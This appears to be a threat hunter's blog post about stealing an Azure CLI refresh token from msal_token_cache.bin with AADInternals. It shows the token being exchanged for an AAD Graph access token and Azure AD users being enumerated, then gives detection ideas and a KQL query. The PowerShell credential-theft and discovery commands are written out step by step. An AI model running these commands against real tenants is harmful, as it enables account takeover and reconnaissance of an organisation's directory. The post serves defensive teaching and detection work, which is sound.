Learn Like a Baby - hunting for OnPrem to Cloud movement by Credential Access - Azure CLI - 5

raja maniraja mani
5 min read

The Act.

Earlier in the series we discussed phishing for initial access now the attacker has to move laterally go to cloud.

We will discuss a credential access technique of stealing refresh token of a local users Azure CLI which is given for the scope Azure resourse manager later modified and applied for Azure AD

Azure CLI

Azure CLI is a versatile command-line interface tool designed to interact with Azure cloud services. It enables users to manage and control various Azure resources directly from a terminal.

To authenticate and interact with Azure, the CLI employs a token-based system. An access token is issued for short-term operations, while a refresh token is generated concurrently to extend access when the initial token expires. These tokens are securely stored in an encrypted format within a file named msal_token_cache.bin located in the user's home directory. ( **%HOMEPATH%\.azure).**This file is protected using the Data Protection API (DPAPI).

Flow Description:

  1. Attacker (X) -> Initial Access (A):

    • The attack begins with an attacker (X) gaining initial access to a hybrid user's system (A). This is typically achieved through phishing, as referenced in previous modules.
  2. Hybrid User (A) -> AADInternals - Credentials Access (B):

    • The compromised hybrid user (A) uses AADInternals to access credentials stored on the system . Specifically, they target the access refresh token located in the .azure directory.
  3. Hybrid User (A) -> Request Access token for Azure AD (C):

    • using obtained token of ARM request access token for Azure AD
  4. Hybrid User (A) -> Discovery - Enumerate Azure AD (C):

    • Using the modified refresh token and Azure AD module, the attacker performs discovery operations on Azure AD. This involves gathering information about the Azure Active Directory environment.

Steal Azure CLI token is one of the important technique which belongs to the below Mitre technique

Steal Application Access Token:
Adversaries can steal application access tokens as a 
means of acquiring credentials to access remote systems and resources.
Application access tokens are used to make authorized API requests 
on behalf of a user or service and are commonly used as a way 
to access resources in cloud and container-based applications 
and software-as-a-service 
Adversaries who steal account API tokens in 
cloud and containerized environments may be able to access 
data and perform actions with the permissions of these accounts, 
which can lead to privilege escalation and further compromise of 
the environment.

Attacker access specific directory

Directory: C:\Users\azureadmin\.azure


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        8/14/2024   8:09 PM                commands
d-----       10/13/2023   3:12 AM                logs
d-----        8/14/2024   8:09 PM                telemetry
-a----       10/13/2023   3:12 AM              5 az.json
-a----        8/14/2024   8:09 PM              5 az.sess
-a----        8/14/2024   8:09 PM            374 azureProfile.json
-a----        8/14/2024   8:09 PM             67 az_survey.json
-a----        8/14/2024   8:09 PM             69 clouds.config
-a----       10/13/2023   3:12 AM           5476 commandIndex.json
-a----       10/13/2023   3:12 AM             57 config
-a----        8/14/2024   8:09 PM          13632 msal_http_cache.bin
-a----        8/14/2024   8:09 PM          11948 msal_token_cache.bin
-a----        8/14/2024   8:09 PM             19 telemetry.txt
-a----       10/13/2023   3:12 AM            211 versionCheck.json

Export-AADIntAzureCliTokens of AAD-Internals is used for the export

Import-Module AADInternals

Export-AADIntAzureCliTokens | fl

This command exports Azure CLI tokens from the msal_token_cache.bin cache. On Windows, msal_token_cache.bin is a json file protected with DPAPI in LocalUser context.

Copy and paste the most recent access token that you see to https://jwt.io/.

{
  "typ": "JWT",
  "alg": "RS256",
  "x5t": "KQ2tAcrssslBaVVGBmc5FobgdJo4",
  "kid": "KQ2tAcrE7lBaabsVGBmc5FobgdJo4"
}

{
  "aud": "https://management.core.windows.net/",
  "iss": "https://sts.windows.net/d1xxxce2-ba05-45c0-90b7-99Trf1fafa537/",
  "iat": 1723665878,
  "nbf": 1723665878,
  "exp": 1723670180,
  "acr": "1",
  "aio": "ATQAy/8XAAAACaQQ5KsdOYfbFASMvbYs3MV5SXmSM4a3JQVLwnIbyPPvJPpggJKbiVJejffYigB/",
  "amr": [
    "pwd"
  ],
  "appid": "04b07795-8ddb-461a-bbee-02f9e1bf7b46",
  "appidacr": "0",
  "idtyp": "user",
  "ipaddr": "172.x.x.154",
  "name": "ddd",
  "oid": "f2a0afae-c2a4-41c7-8cbe-ec35dxxxx3ae",
  "puid": "10032003x4D7E745",
  "rh": "0.Ab0A4oQP0QW6wEWQt5lPH6-lN0ZIf3kAutdPukPawfj2MBPLAPU.",
  "scp": "user_impersonation",
  "sub": "q3AlTVlS3Ri9wwxxxX50kbDzTALA4a64fF6jX-E5m3I",
  "tid": "f10fxx2-ba05-45c0-90b7-99xxxxxx37",
  "unique_name": "user_xxx@xxx.onmicrosoft.com",
  "upn": "user_xxx@xxx.onmicrosoft.com",
  "uti": "1073ioGxlUy0_ZazB1ETAQ",
  "ver": "1.0",
  "wids": [
    "b7ccbf4d-3ef9-4689-8143-76bxxxxx509"
  ],
  "xms_cae": "1",
  "xms_cc": [
    "CP1"
  ],
  "xms_filter_index": [
    "189"
  ],
  "xms_idrel": "1 20",
  "xms_rd": "0.42LjYBRi2ssIAA",
  "xms_ssm": "1",
  "xms_tcdt": 1693941403
}

this represents ARM

"aud": "https://management.core.windows.net/",

"appid": "04b07795-8ddb-461a-bbee-02f9e1bf7b46"

this represents the tenant id

"tid": "f10fxx2-ba05-45c0-90b7-99xxxxxx37",

we also have UPN

"unique_name": "user_xxx@xxx.onmicrosoft.com", "upn": "user_xxx@xxx.onmicrosoft.com",

make a note of the appid (client ID) that was used and the tid value that represents the tenant ID. We will use the same parameters when we request an access token for AAD graph, using the refresh token that we have.

The command to request an access token for AAD Graph and store it to a variable named $at. Use the client ID and tenant ID that we identified before

$reftoken = "<most recent refresh token>"
$at=Get-AADIntAccessTokenWithRefreshToken 
            -ClientId "04b07795-8ddb-461a-bbee-02f9e1bf7b46" 
            -Resource "https://graph.windows.net" 
            -TenantId "d10fxxxx-baxx-45x0-9xxx-9xxxxxafaxx7" 
            -RefreshToken $reftoken

Now read the access token obtained for AAD

PS C:\Users\azureadmin\.azure> Read-AADIntAccesstoken $at


aud                 : https://graph.windows.net
iss                 : https://sts.windows.net/d10xxxxx-ba05-45c0-90b7-90000fafa537/
iat                 : 1723667429
nbf                 : 1723667429
exp                 : 1723671901
acr                 : 1
aio                 : ATQAy/8XAAAA9K78yzu3eT9cIk0ysxZT/45eghXd5zJf/cgFsEqZl8ccLocByQwodBcVWt7SwP2O
amr                 : {pwd}
appid               : 04b07795-8ddb-461a-bbee-02f9e1bf7b46
appidacr            : 0
idtyp               : user
ipaddr              : 172.x.x.154
name                : User
oid                 : f2axxxae-c2xx-xxx7-8ssse-ec35dddda3ae
puid                : 100320031117E745
rh                  : 0.Ab0A4oQP0QW6wEWQt5lPH6-lssNwIAAAAAAAAAwAAAAAAAAADLAPU.
scp                 : 62dde903dd94-69f5-4237-9sss190-012177145e10
sub                 : lf3VDqqqkwwv8c7luiUG2_J-dfPQKw1TZ1TMzybjtUUWD7AU
tenant_region_scope : NA
tid                 : daaaaae2-bawww5-4ssd-9xx7-9dddddswefa537
unique_name         : userxxxx@xxx.onmicrosoft.com
upn                 : user_xxx@xxx.onmicrosoft.com
uti                 : -lkYv5bH20uUxzm2RnI8bAA
ver                 : 1.0
xms_idrel           : 14 1

let's try connect to Azure AD as user_ using this access token and enumerate the Azure AD users.

Import-Module AzureAD

Connect-AzureAD 
        -AccountId user_xxx@xxx.onmicrosoft.com 
        -AadAccessToken $at

Get-AzureADUser -All $true

PS C:\Users\azureadmin\.azure> Get-AzureADUser -All $true

ObjectId                             DisplayName             UserPrincipalName                                     UserType
--------                             -----------             -----------------                                     --------
xxxxx                                    xxx                    xxx
xxxxx                                    xxx                    xxx

COMMAND FUNCTIONS USED

## AAD internals
# 1-for extracting refresh token and access token from the file system
Import-Module AADInternals
Export-AADIntAzureCliTokens | fl
# 2 - for requesting access token to graph api
Get-AADIntAccessTokenWithRefreshToken 
# 3 - to read the access token
Read-AADIntAccesstoken

## Azure AD
## 4 - connect to Azure AD and read all security principals
Import-Module AzureAD
Connect-AzureAD 
Get-AzureADUser

The Detection.

Apart from the commandline execution and ETW i agree the detecting this attack is gonna be tough. Below are possible approaches

  • Commandline contains

    • msal_token_cache.bin

    • Loading AAD Internal modules

    • cd to .azure folder

  • ETW

    • Identify functions like Export-AADIntAzureCliTokens & Get-AADIntAccessTokenWithRefreshToken in memory
  • File Integrity Monitoring

    • Powershell Modify content of the file msal_token_cache.bin
  • Azure AD signin logs

    • If the attacker uses the refresh token from the beach host or different system there is a possibility of risky signin

    • Unknown or no DevicedId for the signin attempt

    DeviceProcessEvents
    | where ProcessName == "powershell.exe"
    | where ParentProcessName == "explorer.exe" // Adjust based on common parent processes
    | where CommandLine contains "msal_token_cache.bin"
    | project DeviceName, ProcessId, ParentProcessId, User, CommandLine, TimeGenerated
0
Subscribe to my newsletter

Read articles from raja mani directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

raja mani
raja mani

✨🌟💫Threat Hunter 💫🌟✨